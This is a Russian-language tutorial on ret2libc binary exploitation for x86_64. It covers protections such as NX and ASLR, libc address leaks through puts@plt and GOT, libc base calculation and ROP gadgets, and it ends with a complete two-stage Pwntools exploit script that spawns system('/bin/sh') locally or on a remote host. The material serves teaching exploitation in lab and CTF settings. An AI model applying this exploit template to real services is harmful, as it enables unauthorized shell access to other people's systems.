Buffer overflow давно перестал быть историей только про учебные примеры с shellcode в стеке. Защиты стали жёстче, прямолинейная эксплуатация ломается всё чаще, а значит и сам подход к pwn давно сместился от простого переписывания адреса возврата к аккуратной работе с тем, что уже загружено в память процесса.
ret2libc - как раз та техника, на которой этот переход особенно хорошо виден. Она не выглядит экзотикой, но отлично показывает, как устроена современная бинарная эксплуатация: сначала понять, какие защиты включены, потом получить утечку, вычислить базу libc и уже после этого собрать рабочую цепочку выполнения.
Binary Exploitation
В бинарной эксплуатации почти никогда не хватает одной уязвимости. Сам факт переполнения буфера ещё не означает, что из процесса сразу получится вытащить shell. Всё упирается в то, какие защиты включены, насколько контролируется стек, можно ли исполнять код из данных, рандомизируются ли адреса и насколько удобно привязаться к уже загруженным библиотекам.Именно поэтому ret2libc остаётся такой важной техникой. Она показывает, как эксплойт перестаёт быть тупым прыжком в shellcode и превращается в более взрослую схему: сначала получить контроль над возвратом, потом вытащить адрес из памяти процесса, вычислить базу libc и только после этого направить выполнение в system("/bin/sh") или другой полезный вызов. То есть не просто переписать RIP, а заставить процесс работать на себя в условиях, где прямое исполнение уже ограничено.
NX, ASLR, Canary, PIE
Перед разбором самого overflow давайте разберемся, какие ограничения задаёт бинарник и окружение. Именно они определяют, какой путь эксплуатации вообще имеет смысл.NX - это защита, которая запрещает исполнение кода в областях памяти, предназначенных для данных. Если стек неисполняемый, классический сценарий с инъекцией shellcode в буфер сразу отпадает. Придётся использовать уже существующий код в памяти процесса.
ASLR - рандомизация адресного пространства. Она сдвигает адреса библиотек, стека, кучи и иногда самого бинарника. Это ломает эксплуатацию по фиксированным адресам: даже если однажды получилось найти system(), в следующем запуске этот адрес уже будет другим. Именно поэтому в ret2libc почти всегда нужен leak - утечка адреса, от которой потом считается база libc.
Stack Canary - защитное значение в стеке, которое проверяется перед возвратом из функции. Если переполнение задевает canary, программа завершится до того, как управление перейдёт к атакующему. Это не делает баг неэксплуатируемым автоматически, но сильно меняет механику.
PIE - позиционно-независимый исполняемый файл. Если PIE включён, рандомизируется и база самого бинарника. Это усложняет жизнь, потому что начинают плавать не только адреса libc, но и адреса внутри самого ELF: plt, got, гаджеты, полезные функции и точки возврата.
В нашем сценарии интерес представляет такой набор условий: NX включён, ASLR включён, stack canary отсутствует, а PIE либо отключён, либо его влияние разбирается отдельно. Это уже достаточно реалистичная конфигурация, чтобы классический shellcode не сработал, а ret2libc стал не декоративным приёмом, а нормальным способом обойти ограничения среды.
Анализ бинарника
В ret2libc всё начинает ломаться не на этапе вызоваsystem(), а гораздо раньше - когда атакующий ещё толком не понял, с чем вообще имеет дело. Пока неясно, включён ли canary, рандомизируется ли сам бинарник, можно ли опираться на фиксированные адреса внутри ELF и где именно происходит переполнение, любая дальнейшая эксплуатация остаётся гаданием. Поэтому нормальный pwn почти всегда начинается не с payload, а с разведки.Смысл этого этапа простой: сначала выяснить, какие защиты реально мешают, затем найти уязвимую функцию и только после этого определить точный offset (смещение) до адреса возврата. Без этого ret2libc быстро превращается в возню с неверными адресами, сломанным стеком и бесконечными сегфолтами, которые ничего не объясняют.
checksec: определение защит
Первое, что обычно делают с бинарником, - проверяют его защитный профиль. Здесь важен не сам факт запускаchecksec, а то, как читать результат.Типичный старт выглядит так:
Bash:
checksec --file=./vuln
file ./vuln
file быстро показывает базовые свойства ELF: архитектуру, разрядность, динамическую или статическую линковку, PIE и общую форму бинарника.checksec уже отвечает на более практичный вопрос: что именно будет мешать эксплуатации.В контексте ret2libc особенно важны четыре поля:
| Защита | Что означает для эксплуатации |
|---|---|
| NX | shellcode в стеке уже не выглядит нормальным путём |
| Canary | простая перезапись адреса возврата может не дожить до ret |
| PIE | адреса внутри самого бинарника тоже начинают плавать |
| RELRO | влияет на возможность работы с GOT и на некоторые варианты перезаписи |
Если же PIE включён, все ниже сказанное не становится бесполезным - просто растёт цена ошибки. В таком случае вместе с libc придётся отдельно разбираться и с базой самого ELF. Для нашего первого разбора ret2libc это уже лишний слой сложности, поэтому PIE мы отключим)).
Disassembly: vulnerable function
После checksec следующий вопрос уже более приземлённый: где именно происходит переполнение. Тут в дело идутobjdump, gdb, gef, pwndbg, radare2 или любой другой инструмент, которым удобно смотреть дизассемблирование и вызовы функций.Базовый вариант:
Bash:
objdump -d ./vuln | less
gets()strcpy()scanf("%s")read()без адекватной длины- пользовательская обёртка поверх небезопасного копирования
Здесь важно не только найти опасный вызов, но и понять форму стека в этой функции. Какого размера буфер. Есть ли сохранённый
rbp. Насколько далеко до rip. Срабатывает ли leave; ret. Иначе говоря, нужен не просто факт уязвимости, а карта того, что именно мы можем перезаписать.Если смотреть на это глазами эксплуатации, то цель этапа очень простая: убедиться, что переполнение реально доходит до адреса возврата, а не просто портит локальные переменные и завершает программу крашем без управления потоком выполнения.
Определение offset через cyclic pattern
После того как стало понятно, что переполнение действительно есть, остаётся самый полезный прикладной шаг - вычислить точное смещение до адреса возврата.Здесь уже не надо угадывать размер буфера на глаз. Для этого и используют cyclic pattern - специальную последовательность, по которой потом можно точно понять, какой участок входа попал в
RIP.В Pwntools это обычно выглядит так:
Python:
from pwn import *
payload = cyclic(300)
RIP, считается offset:
Python:
cyclic_find(0x6161616b)
puts@plt или gadget программа уходит в краш, который больше ничего не сообщает.Здесь можно легко ошибиться в трёх местах:
| Ошибка | К чему приводит |
|---|---|
| перепутать разрядность | cyclic_find даёт неверный offset |
| считать не тот регистр | payload строится от ложной точки |
игнорировать saved rbp | цепочка ломается до возврата |
EIP, а с RIP, и стек выстраивается под 64-битную calling convention. Из-за этого часть старых привычек из 32-битных задач только мешает.Если хочется чуть подробнее пройти саму базу - без прыжка сразу в libc, leak и цепочки возвратов, - в статье: "Эксплуатация бинарных уязвимостей (PWN) для почти начинающих" мы хорошо разобрали самый фундаментальный слой pwn
Утечка адреса libc
ret2libc становится по-настоящему интересной в тот момент, когда выясняется простая вещь: одного контроля надRIP уже недостаточно. Адреса libc при включённом ASLR плавают, и просто взять system() по фиксированному адресу не получится. Значит, перед основной цепочкой нужен ещё один шаг - утечка адреса из памяти процесса.Это и есть переломный момент между учебным переполнением и нормальной эксплуатацией. Пока атакующий не получил реальный адрес одной из функций libc в текущем запуске, он не знает, где находится сама библиотека. А без базы libc нельзя надёжно вычислить ни
system(), ни строку "/bin/sh", ни любые другие нужные символы.PLT и GOT: механика
Чтобы понять, откуда вообще брать утечку, нужно быстро разобрать две ключевые таблицы в ELF: PLT и GOT.PLT (Procedure Linkage Table) - это набор stub-функций внутри бинарника, через которые вызываются внешние функции вроде
puts, read, write, printf.GOT (Global Offset Table) - таблица указателей, в которой после разрешения символов хранятся реальные адреса функций из загруженных библиотек.
Для эксплуатации это важно по одной причине: если программа уже использует, например,
puts(), то в GOT будет указатель на её реальный адрес в libc. А значит, если заставить программу вывести содержимое соответствующей записи, можно получить один валидный libc-адрес прямо из живого процесса.Именно поэтому ret2libc часто начинается не с вызова
system(), а с вызова чего-то куда более скучного - puts(puts@got) или похожей конструкции. На первый взгляд это выглядит почти бессмысленно. На практике это и есть тот самый leak, без которого обход ASLR не складывается.Если бинарник без PIE, работа становится удобнее: адреса
plt, got и полезных функций внутри самого ELF фиксированы, и на них можно спокойно опираться при построении первой ROP-цепочки. libc всё ещё рандомизируется, но теперь хотя бы есть стабильная точка, с которой можно начать.puts@plt для leaking
Самый классический сценарий - использоватьputs@plt, чтобы вывести адрес puts из GOT.Логика здесь очень чистая:
- перехватываем управление;
- передаём в
puts()адрес записиputs@got; - получаем в выводе реальный адрес
putsв libc; - возвращаемся обратно в уязвимую функцию или в
main, чтобы отправить второй payload уже с вычисленной базой.
В x86_64 такая цепочка обычно требует gadget’а вида
pop rdi; ret, потому что первый аргумент функции передаётся через RDI. Поэтому первая стадия ret2libc часто выглядит как минимальный ROP:pop rdi; ret- адрес
puts@got puts@plt- возврат в
mainили уязвимую функцию
Парсинг leaked address
После утечки начинается ещё одна зона, где легко сделать всё правильно на 90% и всё равно сломать exploit. Полученный адрес надо не просто увидеть, а корректно распарсить.Обычно
puts() выводит байты до первого NULL, поэтому утечка может выглядеть не как красивый полный 64-битный адрес, а как короткая последовательность байтов, которую ещё нужно правильно дополнить до нужной длины. В Pwntools это обычно сводится к чтению строки или байтового блока и дальнейшему преобразованию через u64().Типовая логика такая:
Python:
leak = p.recvline().strip()
addr = u64(leak.ljust(8, b'\x00'))
system() уйдёт мимо, а в лучшем случае exploit просто упадёт в сегфолт.Есть несколько типовых ловушек:
| Ошибка | Что ломается |
|---|---|
| считывается не та строка | вместо адреса берётся мусор из stdout |
не учтён NULL-обрыв | утечка выглядит короче, чем есть на самом деле |
| неверный little-endian разбор | вычисляется ложный адрес |
| leak не относится к той libc | все дальнейшие offsets (смещения) становятся бесполезны |
Когда механика утечки уже понятна и хочется ещё глубже посмотреть именно на связку buffer overflow + libc leak + ret2libc, в статье: "Переполнение буфера и техника эксплуатации Ret2Libc - изучение методов эксплуатации на примерах, часть 7" это разобрано подробнее: .
Вычисление libc base
Утечка адреса сама по себе ещё ничего не завершает. Она только даёт точку привязки. Дальше задача уже более сухая, но критичная: понять, к какой именно libc относится leak, и вычислить её базовый адрес в памяти процесса. Именно в этот момент ret2libc перестаёт быть красивой идеей и превращается в рабочую математику.Логика здесь простая: если известен реальный адрес функции в памяти и известен её offset внутри конкретной версии libc, то база считается обычным вычитанием. После этого уже можно получить адреса
system, exit, "/bin/sh" и любых других символов, которые нужны для финальной цепочки.Идентификация libc версии
Это место часто недооценивают. На первый взгляд кажется, что достаточно получить реальный адресputs в памяти процесса и сразу посчитать libc_base. На практике всё упирается в то, какая именно libc загружена у процесса. Если exploit собирается локально на одной версии библиотеки, а удалённый сервис использует другую, offsets начнут расходиться, и цепочка развалится даже при корректном leak.В идеальной ситуации нужная libc уже есть под рукой. Например, challenge поставляется вместе с бинарником и файлом
libc.so.6, или среда запуска известна заранее. Тогда всё довольно чисто: Pwntools загружает нужную библиотеку, и offsets берутся напрямую из неё.
Python:
elf = ELF("./vuln")
libc = ELF("./libc.so.6")
libc database - это база сигнатур libc, где по утёкшим адресам или offsets можно подобрать версию библиотеки и восстановить расположение нужных символов.
Но здесь есть важный нюанс. Один leak не всегда даёт однозначный результат. Иногда можно получить несколько кандидатов с одинаковыми младшими байтами. Тогда приходится либо искать ещё одну функцию, либо учитывать окружение, архитектуру, версию glibc и другой контекст. Иначе exploit может почти работать локально и стабильно разваливаться на remote.
Если libc известна, расчёт дальше становится прямолинейным. Если libc неизвестна, утечка должна не просто существовать, а позволять достаточно надёжно определить саму библиотеку. Иначе offsets превращаются в угадывание.
Расчёт offsets
После того как версия libc определена, начинается самая приятная часть - обычная арифметика.Если утёк реальный адрес
puts, а offset puts внутри libc известен, формула выглядит так:
Python:
libc_base = leaked_puts - libc.symbols["puts"]
После этого уже можно получить нужные адреса:
Python:
system_addr = libc_base + libc.symbols["system"]
exit_addr = libc_base + libc.symbols["exit"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system() и уже существующую строку "/bin/sh" внутри той же libc. Всё, что нужно - правильно вычислить их реальные адреса для текущего запуска.Есть несколько типовых мест, где всё ломается:
| Ошибка | Что идёт не так |
|---|---|
| неверная libc версия | offsets не совпадают, system() уходит мимо |
| leak получен не от той функции | база считается неверно |
| неправильный парсинг адреса | ошибка появляется ещё до вычисления libc |
| игнорируется архитектура | расчёт делается с неверными размерами и соглашениями вызова |
libc_base вычислен правильно, адрес обычно выглядит логично: выровнен по границе отображения и не похож на случайный мусор. Если же после расчёта system() указывает в странное место или "/bin/sh" не находится, проблема почти всегда в одном из предыдущих шагов - leak, версия libc или парсинг.На этом этапе у атакующего уже есть всё, что нужно для финальной стадии: контроль над возвратом, известный offset, утечка libc и вычисленная база. Дальше остаётся собрать ROP-цепочку так, чтобы процесс вызвал
system("/bin/sh") и не развалился раньше времени из-за неправильных аргументов или кривого выравнивания стека.Построение ROP-chain
К этому моменту уязвимость уже не выглядит абстрактной. Есть точный offset до адреса возврата, есть утечка, есть вычисленная база libc. Значит, остаётся самое важное - собрать цепочку так, чтобы управление не просто ушло из уязвимой функции, а дошло до нужного вызова в правильном порядке и с корректными аргументами.И вот здесь ret2libc быстро перестаёт быть красивой формулой из write-up’ов. На практике эксплойт ломается не потому, что system() недоступна, а потому что стек криво выровнен, нужный аргумент не попал в регистр, gadget оказался неудобным, а цепочка развалилась раньше, чем дошла до полезного вызова. Поэтому ROP на этом этапе - уже не дополнение к ret2libc, а её рабочий каркас.
ROPgadget: поиск гаджетов
ROP (Return-Oriented Programming) - это техника, при которой выполнение собирается из коротких фрагментов уже существующего кода, обычно заканчивающихся инструкцией ret.В x86_64 для ret2libc почти всегда нужен хотя бы один базовый gadget:
pop rdi; ret
Он нужен потому, что первый аргумент функции по системному соглашению вызова передаётся через регистр RDI. Если задача - вызвать system("/bin/sh"), то адрес строки "/bin/sh" сначала должен попасть именно туда.
Искать gadget’ы обычно начинают так:
Bash:
ROPgadget --binary ./vuln | grep "pop rdi"
Bash:
ropper --file ./vuln --search "pop rdi; ret"
Если бинарник не слишком маленький и не собран каким-то совсем аскетичным образом, нужный gadget почти всегда находится. Дальше уже вопрос удобства: использовать gadget из самого бинарника, из libc или из другого стабильного участка памяти.
Для первого учебного сценария удобнее всего брать gadget из самого ELF, особенно если PIE отключён. Тогда его адрес не плавает между запусками, и эксплойт не усложняется лишней зависимостью от базы самого бинарника.
system("/bin/sh") chain
Когда база libc уже вычислена, минимальная ret2libc-цепочка выглядит довольно компактно. В x86_64 она обычно строится так:- забиваем буфер до адреса возврата;
- кладём pop rdi; ret;
- кладём адрес строки "/bin/sh" в libc;
- кладём адрес system();
- при необходимости - exit() или другой безопасный хвост.
Python:
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(exit_addr)
На практике exit() в конце не всегда обязателен, но часто полезен. Если цепочка по какой-то причине завершится без него, процесс может упасть грязнее, чем хотелось бы. Для локальной отладки это ещё терпимо. Для remote exploitation лишняя стабильность обычно не мешает.
Есть и более короткие варианты. Иногда вместо явной цепочки до system() используют one_gadget, если условия окружения позволяют. Но это уже не такой чистый учебный сценарий, и нам для понимания ret2libc классический вызов system("/bin/sh") полезнее.
Stack alignment и ret gadget
Одна из самых раздражающих проблем в x86_64 - стек может быть выровнен неправильно, и цепочка, которая “почти правильная”, начнёт падать на вызове libc-функции без очевидной причины. Это особенно заметно на современных glibc, где часть инструкций внутри функций чувствительна к alignment.Stack alignment - это корректное выравнивание стека по границе, ожидаемой соглашением вызова и реализацией libc.
Из-за этого в ret2libc-цепочке часто появляется ещё один лишний ret перед system():
Python:
payload = b"A" * offset
payload += p64(ret_gadget)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
Именно поэтому stack alignment - не мелкая деталь, а полноценная часть эксплуатации на x86_64. Если адреса верные, offset верный, gadget’ы на месте, а цепочка всё равно ведёт себя нестабильно, первым подозреваемым часто становится именно выравнивание стека.
На этом этапе ret2libc уже почти собрана. Дальше остаётся сделать последний практический шаг: оформить всё это в нормальный exploit script на Pwntools, который сначала работает локально, а потом переносится на remote-сценарий.
Если после ret2libc хочется двинуться дальше и уже плотнее зайти в саму логику возвратно-ориентированного программирования, с гаджетами, переходами и более сложной цепочкой выполнения, полезно открыть это руководство: ROP цепочка гаджетов - изучение методов эксплуатации на примерах, часть 10.
Exploit Script на Pwntools
Когда все подготовительные шаги уже сделаны, эксплоит перестаёт быть набором отдельных приёмов и превращается в нормальный рабочий сценарий. Сначала бинарник анализируется, потом находится точный offset, после этого вытаскивается адрес из libc, считается база, собирается цепочка и только в самом конце всё это укладывается в один скрипт. Именно на этом этапе становится понятно, насколько хорошо была собрана вся логика до него.Pwntools здесь удобен не потому, что делает магию за атакующего, а потому что убирает лишнюю возню вокруг байтов, сокетов, упаковки адресов и переключения между локальным и удалённым режимом. Это хороший инструмент именно для того, чтобы эксплоит выглядел как последовательность шагов, а не как хаотичный набор отправок в процесс.
Полный код
Обычно такой скрипт строится в две стадии. Первая получает утечку и возвращает программу в безопасную точку повторного ввода. Вторая уже использует вычисленную базу libc и отправляет финальную цепочку.Типовой шаблон выглядит так:
Python:
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("./libc.so.6")
HOST = "example.com"
PORT = 31337
pop_rdi = 0x40123b
ret_align = 0x40101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
offset = 72
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(elf.path)
io = start()
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
io.sendline(payload)
leak = io.recvline().strip()
leaked_puts = u64(leak.ljust(8, b"\x00"))
libc_base = leaked_puts - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
exit_addr = libc_base + libc.symbols["exit"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = b"A" * offset
payload += p64(ret_align)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(exit_addr)
io.sendline(payload)
io.interactive()
Хороший признак нормального эксплоит-скрипта - он читается сверху вниз без загадок. Откуда берутся адреса, зачем нужен повторный вход, где считается база libc, в какой момент собирается финальная цепочка. Если скрипт этого уже не показывает, значит механика ещё не до конца понята.
Local → Remote exploitation
Переход от локальной эксплуатации к удалённой почти всегда оказывается менее красивым, чем хотелось бы. Именно тут всплывают несовпадения libc, разные версии glibc, иные адреса гаджетов при PIE, другая буферизация вывода, лишние строки в баннере, различия в тайминге и прочие мелочи, которые локально были незаметны.Из-за этого нормальный эксплоит лучше изначально писать так, чтобы переключение между локальным и удалённым режимом было частью конструкции, а не аварийной переделкой в последний момент. Именно поэтому в Pwntools обычно делают отдельную функцию запуска и выбирают режим через аргумент:
Python:
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(elf.path)
Самая частая проблема на этом этапе - уверенность, что если эксплоит сработал локально, то дальше всё уже вопрос одной кнопки. На деле удалённая эксплуатация чаще всего ломается в трёх местах:
| Проблема | Что обычно происходит |
|---|---|
| другая libc | база считается правильно, но offsets не совпадают |
| иной вывод программы | утечка считывается криво или не из той строки |
| нестабильная цепочка | локально работает, удалённо падает из-за выравнивания или тайминга |
В pwn одна из самых полезных привычек - относиться к эксплоиту не как к финальному артефакту, а как к цепочке проверяемых шагов. Offset отдельно. Leak отдельно. База отдельно. Финальный вызов отдельно. Именно так ret2libc и перестаёт быть чем-то невероятным. Она становится обычной технической процедурой (хоть и довольно муторной), где каждая ошибка локализуется достаточно быстро, если не пытаться перепрыгнуть сразу к shell.
Подведем итоги
ret2libc хороша не тем, что даёт эффектный финал с shell, а тем, что очень трезво показывает, как на самом деле устроена современная бинарная эксплуатация. Одного переполнения уже недостаточно. Нужно понимать защитный профиль бинарника, уметь читать ELF, вытаскивать утечку, считать базу libc и только потом собирать цепочку так, чтобы процесс пошёл по нужному маршруту. Именно на таких техниках pwn и перестаёт быть набором трюков, а превращается в системную работу с памятью, вызовами и средой выполнения.При этом сама идея ret2libc до сих пор не выглядит музейной. Меняются защиты, усложняется окружение, появляются новые ограничения, но логика использования уже загруженного кода вместо прямой инъекции никуда не девается. И чем лучше понятна эта логика, тем проще потом разбираться и с ROP, и с libc leaks, и с более тяжёлыми сценариями эксплуатации, где всё ломается уже не в одной точке, а по цепочке.
И вот здесь остаётся вопрос, который всегда отделяет просто решённый challenge от реально понятой техники: в какой момент ret2libc перестаёт быть учебным приёмом и начинает ощущаться как нормальный инженерный подход к эксплуатации памяти?